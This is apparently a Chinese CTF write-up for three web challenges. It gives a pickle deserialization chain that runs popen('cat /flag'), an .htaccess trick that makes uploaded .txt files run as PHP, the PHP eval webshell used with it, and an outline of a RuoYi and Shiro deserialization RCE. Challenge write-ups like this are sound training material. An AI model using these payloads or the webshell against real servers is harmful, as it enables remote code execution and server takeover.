Pickle Me
非预期:
flag就在源码当中,应该是出题人忘记更改了
预期解:
这道题目给了预期解,我们可以发现只给了白名单:
builtins.getattr
os.walk
要求我们手写opencode来实现读取flag,包括源码也给了提示要求我们进行__global__逃逸,其实这里的思路很简单,通过os.walk拿全局字典,然后__getitem__进行遍历拿到popen函数最后进行RCE即可
这是一个完整的链子:
getattr(getattr(os.walk, "__globals__"), "__getitem__")("popen")("cat /flag").read()
这里需要用pker工具,我们先编写一个脚本,随后用pker编译即可
getattr = GLOBAL("builtins", "getattr")
walk = GLOBAL("os", "walk")
popen = getattr(getattr(walk, "__globals__"), "__getitem__")("popen")
return getattr(popen("cat /flag"), "read")()
随后进行编译:

然后进行base64加密
import pickle,base64
a=字节码
print(base64.b64encode(a).decode())
即可拿到flag
FileDesk
这道题目还是比较有意思,首先这里允许上传压缩包,图片,pdf,word文档,这里我们抓包可以看到服务器配置是apache,其实很容易想到.htaccess,因为大部分文件上传是apache服务器的时候都可以尝试利用.htaccess上传然后写马来实现的。
这里我们需要配置.htaccess,内容为
AddType application/x-httpd-php
AddType application/x-httpd-php
那么这里要对什么后缀名进行php解析呢,其实我们可以利用.txt文件写马子进行文件上传即可
AddType application/x-httpd-php .txt
AddType application/x-httpd-php .txt
然后将.htaccess和.txt一起进行压缩然后上传即可
1.txt内容为:
<?php eval($_POST['a']);?>
当1.txt上传后会被php解析,然后就会实现写马成功,然后中国蚁剑连接:

short-reflect
这道题目题面上我记得给的提示有SSTI,反序列化,其实拿到这道题目很显然我们可以发现这是一个若依的框架,然后我刚刚开始是想通过一把梭看看能不能梭出来的,但是shiro的密钥也爆破不出来,然后我们可以发现若依的版本4.8.1,然后我去上网搜了一下,是有RCE的然后就可以直接打了

随后根据常见路由和参数开始打,发现可以拿到shiro的密钥

拿到密钥之后就可以利用shiro反序列一把梭工具,题面又告诉我们执行readflag即可
